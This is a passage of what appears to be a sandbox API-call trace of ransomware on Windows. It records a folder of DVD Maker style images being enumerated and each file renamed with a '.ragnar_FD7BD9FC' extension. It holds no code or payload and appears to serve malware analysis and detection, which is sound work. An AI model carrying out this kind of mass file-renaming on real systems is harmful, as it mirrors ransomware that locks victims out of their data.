ftCreationTime.dwHighDateTime=0x1c9ea0f, ftLastAccessTime.dwLowDateTime=0x4ee00a15, ftLastAccessTime.dwHighDateTime=0x1c9ea0f, ftLastWriteTime.dwLowDateTime=0x4ee00a15, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x14fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="photoedge_buttongraphic.png", cAlternateFileName="")) returned 1 [0079.398] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x33 [0079.398] lstrcpyW (in: lpString1=0x1eb620, lpString2="photoedge_buttongraphic.png" | out: lpString1="photoedge_buttongraphic.png") returned="photoedge_buttongraphic.png" [0079.398] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\photoedge_buttongraphic.png") returned=".png" [0079.398] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\photoedge_buttongraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\photoedge_buttongraphic.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0079.398] CloseHandle (hObject=0xffffffff) returned 0 [0079.398] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\photoedge_buttongraphic.png" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\photoedge_buttongraphic.png") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\photoedge_buttongraphic.png" [0079.398] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\photoedge_buttongraphic.png", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\photoedge_buttongraphic.png.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\photoedge_buttongraphic.png.ragnar_FD7BD9FC" [0079.398] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\photoedge_buttongraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\photoedge_buttongraphic.png"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\photoedge_buttongraphic.png.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\photoedge_buttongraphic.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0079.398] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e8601df, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6e8601df, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee00a15, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1274, dwReserved0=0x0, dwReserved1=0x0, cFileName="photoedge_selectionsubpicture.png", cAlternateFileName="")) returned 1 [0079.398] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x33 [0079.398] lstrcpyW (in: lpString1=0x1eb620, lpString2="photoedge_selectionsubpicture.png" | out: lpString1="photoedge_selectionsubpicture.png") returned="photoedge_selectionsubpicture.png" [0079.398] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\photoedge_selectionsubpicture.png") returned=".png" [0079.398] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\photoedge_selectionsubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\photoedge_selectionsubpicture.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0079.399] CloseHandle (hObject=0xffffffff) returned 0 [0079.399] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\photoedge_selectionsubpicture.png" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\photoedge_selectionsubpicture.png") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\photoedge_selectionsubpicture.png" [0079.399] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\photoedge_selectionsubpicture.png", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\photoedge_selectionsubpicture.png.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\photoedge_selectionsubpicture.png.ragnar_FD7BD9FC" [0079.399] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\photoedge_selectionsubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\photoedge_selectionsubpicture.png"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\photoedge_selectionsubpicture.png.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\photoedge_selectionsubpicture.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0079.399] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e88633c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6e88633c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee00a15, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1266, dwReserved0=0x0, dwReserved1=0x0, cFileName="photoedge_videoinset.png", cAlternateFileName="")) returned 1 [0079.399] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x33 [0079.399] lstrcpyW (in: lpString1=0x1eb620, lpString2="photoedge_videoinset.png" | out: lpString1="photoedge_videoinset.png") returned="photoedge_videoinset.png" [0079.399] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\photoedge_videoinset.png") returned=".png" [0079.399] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\photoedge_videoinset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\photoedge_videoinset.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0079.399] CloseHandle (hObject=0xffffffff) returned 0 [0079.399] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\photoedge_videoinset.png" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\photoedge_videoinset.png") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\photoedge_videoinset.png" [0079.399] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\photoedge_videoinset.png", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\photoedge_videoinset.png.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\photoedge_videoinset.png.ragnar_FD7BD9FC" [0079.399] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\photoedge_videoinset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\photoedge_videoinset.png"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\photoedge_videoinset.png.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\photoedge_videoinset.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0079.399] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6efaa4ac, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6efaa4ac, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee00a15, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x59b9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Postage_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0079.399] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x33 [0079.399] lstrcpyW (in: lpString1=0x1eb620, lpString2="Postage_ButtonGraphic.png" | out: lpString1="Postage_ButtonGraphic.png") returned="Postage_ButtonGraphic.png" [0079.399] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Postage_ButtonGraphic.png") returned=".png" [0079.400] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Postage_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\postage_buttongraphic.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0079.400] CloseHandle (hObject=0xffffffff) returned 0 [0079.400] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Postage_ButtonGraphic.png" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Postage_ButtonGraphic.png") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Postage_ButtonGraphic.png" [0079.400] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Postage_ButtonGraphic.png", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Postage_ButtonGraphic.png.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Postage_ButtonGraphic.png.ragnar_FD7BD9FC" [0079.401] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Postage_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\postage_buttongraphic.png"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Postage_ButtonGraphic.png.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\postage_buttongraphic.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0079.401] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6efd0609, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6efd0609, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee26b73, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x160f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Postage_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0079.401] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x33 [0079.401] lstrcpyW (in: lpString1=0x1eb620, lpString2="Postage_SelectionSubpicture.png" | out: lpString1="Postage_SelectionSubpicture.png") returned="Postage_SelectionSubpicture.png" [0079.401] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Postage_SelectionSubpicture.png") returned=".png" [0079.401] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Postage_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\postage_selectionsubpicture.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0079.401] CloseHandle (hObject=0xffffffff) returned 0 [0079.401] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Postage_SelectionSubpicture.png" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Postage_SelectionSubpicture.png") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Postage_SelectionSubpicture.png" [0079.401] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Postage_SelectionSubpicture.png", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Postage_SelectionSubpicture.png.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Postage_SelectionSubpicture.png.ragnar_FD7BD9FC" [0079.401] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Postage_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\postage_selectionsubpicture.png"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Postage_SelectionSubpicture.png.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\postage_selectionsubpicture.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0079.401] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6efd0609, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6efd0609, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee26b73, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc8e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Postage_VideoInset.png", cAlternateFileName="")) returned 1 [0079.401] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x33 [0079.401] lstrcpyW (in: lpString1=0x1eb620, lpString2="Postage_VideoInset.png" | out: lpString1="Postage_VideoInset.png") returned="Postage_VideoInset.png" [0079.401] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Postage_VideoInset.png") returned=".png" [0079.402] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Postage_VideoInset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\postage_videoinset.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0079.402] CloseHandle (hObject=0xffffffff) returned 0 [0079.402] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Postage_VideoInset.png" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Postage_VideoInset.png") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Postage_VideoInset.png" [0079.402] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Postage_VideoInset.png", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Postage_VideoInset.png.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Postage_VideoInset.png.ragnar_FD7BD9FC" [0079.402] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Postage_VideoInset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\postage_videoinset.png"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Postage_VideoInset.png.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\postage_videoinset.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0079.402] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa11287e6, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x816e8060, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x816e8060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Push", cAlternateFileName="")) returned 1 [0079.402] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f38039d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x8170e1c0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x8170e1c0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rectangles", cAlternateFileName="RECTAN~1")) returned 1 [0079.402] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ea9b652, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ea9b652, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee98f8d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="rectangle_babypink_Thumbnail.bmp", cAlternateFileName="")) returned 1 [0079.402] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x33 [0079.402] lstrcpyW (in: lpString1=0x1eb620, lpString2="rectangle_babypink_Thumbnail.bmp" | out: lpString1="rectangle_babypink_Thumbnail.bmp") returned="rectangle_babypink_Thumbnail.bmp" [0079.402] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_babypink_Thumbnail.bmp") returned=".bmp" [0079.403] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_babypink_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_babypink_thumbnail.bmp"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0079.403] CloseHandle (hObject=0xffffffff) returned 0 [0079.403] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_babypink_Thumbnail.bmp" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_babypink_Thumbnail.bmp") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_babypink_Thumbnail.bmp" [0079.403] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_babypink_Thumbnail.bmp", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_babypink_Thumbnail.bmp.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_babypink_Thumbnail.bmp.ragnar_FD7BD9FC" [0079.404] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_babypink_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_babypink_thumbnail.bmp"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_babypink_Thumbnail.bmp.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_babypink_thumbnail.bmp.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0079.404] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ea9b652, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ea9b652, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee98f8d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="rectangle_glass_Thumbnail.bmp", cAlternateFileName="")) returned 1 [0079.404] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x33 [0079.404] lstrcpyW (in: lpString1=0x1eb620, lpString2="rectangle_glass_Thumbnail.bmp" | out: lpString1="rectangle_glass_Thumbnail.bmp") returned="rectangle_glass_Thumbnail.bmp" [0079.404] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_glass_Thumbnail.bmp") returned=".bmp" [0079.404] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_glass_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_glass_thumbnail.bmp"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0079.404] CloseHandle (hObject=0xffffffff) returned 0 [0079.404] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_glass_Thumbnail.bmp" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_glass_Thumbnail.bmp") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_glass_Thumbnail.bmp" [0079.404] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_glass_Thumbnail.bmp", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_glass_Thumbnail.bmp.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_glass_Thumbnail.bmp.ragnar_FD7BD9FC" [0079.404] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_glass_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_glass_thumbnail.bmp"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_glass_Thumbnail.bmp.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_glass_thumbnail.bmp.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0079.404] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6eac17af, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6eac17af, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee98f8d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="rectangle_highlights_Thumbnail.bmp", cAlternateFileName="")) returned 1 [0079.404] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x33 [0079.404] lstrcpyW (in: lpString1=0x1eb620, lpString2="rectangle_highlights_Thumbnail.bmp" | out: lpString1="rectangle_highlights_Thumbnail.bmp") returned="rectangle_highlights_Thumbnail.bmp" [0079.404] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_highlights_Thumbnail.bmp") returned=".bmp" [0079.405] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_highlights_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_highlights_thumbnail.bmp"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0079.405] CloseHandle (hObject=0xffffffff) returned 0 [0079.405] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_highlights_Thumbnail.bmp" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_highlights_Thumbnail.bmp") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_highlights_Thumbnail.bmp" [0079.405] lstrcatW 